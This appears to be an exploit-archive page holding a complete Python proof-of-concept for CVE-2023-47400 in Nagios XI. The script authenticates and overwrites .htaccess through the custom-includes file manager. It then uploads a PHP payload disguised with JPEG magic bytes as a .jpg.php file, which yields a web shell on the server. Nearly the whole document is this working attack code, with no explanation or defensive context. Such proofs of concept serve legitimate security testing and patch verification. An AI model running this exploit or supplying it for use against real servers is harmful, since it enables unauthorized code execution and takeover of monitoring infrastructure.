4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import logging
from sys import exit
from requests import Session
from lxml import html
from uuid import uuid4

# TODO handle this by cli args
NAGIOS_URL = "https://10.10.11.248/nagiosxi"
USERNAME = "user"
PASSWORD = "pass"

JPEG_MAGIC_BYTES = b"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01"  # JFIF signature
# Try other magic bytes if this one doesn't work : https://en.wikipedia.org/wiki/List_of_file_signatures


def bootstrap_session():
    s = Session()
    s.trust_env = True  # allow usage of HTTP_PROXY env var for DEBUG
    s.verify = False
    return s


def get_nsp_token(session) -> str:
    resp = session.get(f"{NAGIOS_URL}/login.php")
    login_page = html.fromstring(resp.content)
    csrf_token = login_page.xpath(
        "/html/body/div/div[4]/div/div[1]/div[1]/div[1]/form/input[1]/@value"
    )[0]
    return csrf_token


def log_in(session, nsp_token, username, password):
    # prepare headers and payload
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    }
    payload = {
        "nsp": nsp_token,
        "page": "auth",
        "debug": "",
        "pageopt": "login",
        "username": username,
        "password": password,
        "loginButton": "",
    }
    # send POST request on /login.php to authenticate
    login_response = session.post(
        url=f"{NAGIOS_URL}/login.php", data=payload, headers=headers
    )
    return login_response


def upload_placeholder_image(session):
    # prepare request
    files = {"uploadedfile": ("placeholder.jpg", JPEG_MAGIC_BYTES, "image/jpeg")}
    resp = session.post(
        f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=upload",
        files=files,
    )
    return resp


def overwrite_htaccess(session, upload_placeholder_image_response):
    # retrieve file id and rename it to .htaccess
    file_upload_page = html.fromstring(upload_placeholder_image_response.content)
    image_id = file_upload_page.xpath('//*[@data-name="placeholder.jpg"]/@data-obj-id')[
        0
    ]
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {"id": image_id, "name": ".htaccess"}
    session.post(
        f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=rename",
        data=data,
        headers=headers,
    )
    return session.get(
        f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=delete&type=images&id={image_id}"
    )


def build_payload() -> bytes:
    with open("payload.php", "rb") as file:
        exploit = JPEG_MAGIC_BYTES
        exploit += file.read()
    return exploit


def upload_payload(session, payload_name, payload_data):
    # prepare request
    files = {
        "uploadedfile": (f"{payload_name}.jpg.php", payload_data, "application/x-php")
    }
    resp = session.post(
        f"{NAGIOS_URL}/includes/components/custom-includes/manage.php?cmd=upload",
        files=files,
    )
    return resp


def main() -> int:
    # setup logging module
    logger = logging.getLogger()
    logger.name = "cve_2023_47400"
    logger.setLevel(level=logging.INFO)

    try:
        # create session
        sess = bootstrap_session()
        # pre-flight request to aquire NSP token in index.php
        nsp = get_nsp_token(sess)
        # login with provided credentials
        log_in_response = log_in(sess, nsp, USERNAME, PASSWORD)
        if log_in_response.status_code == 200:
            logging.info("Successful logged in")
        else:
            logging.error("Unsuccessful attempt to log in")
            return 1
        # upload placeholder image
        upload_placeholder_image_response = upload_placeholder_image(sess)
        if upload_placeholder_image_response.status_code == 200:
            logging.info("Successfuly uploaded placeholder.jpg")
        else:
            logging.error("Unsuccessful attempt to upload placeholder.jpg")
            return 1

        overwrite_htaccess_response = overwrite_htaccess(
            sess, upload_placeholder_image_response
        )
        if overwrite_htaccess_response.status_code == 200:
            logging.info("Successfuly overwritten .htaccess")
        else:
            logging.error("Unsuccessful attempt to overwrite .htaccess")
            return 1

        payload_name = uuid4()
        payload_data = build_payload()
        upload_payload_response = upload_payload(sess, payload_name, payload_data)
        if upload_payload_response.status_code == 200:
            logging.info("Successfuly uploaded payload at :")
            logging.info(
                f"{NAGIOS_URL}/includes/components/custom-includes/images/{payload_name}.jpg.php"
            )
            logging.info("Exploit completed successfuly")
            return 0
        else:
            logging.error("Unsuccessful attempt to upload payload")
            return 1

    # exits gracefully on CTRL+C
    except KeyboardInterrupt:
        logging.info("Exiting script gracefully")
        return 0
    # exits with error code 1 other exceptions
    except Exception as err:
        logging.critical("Exiting due to error")
        logging.critical(err)
        return 1


if __name__ == "__main__":
    exit(main())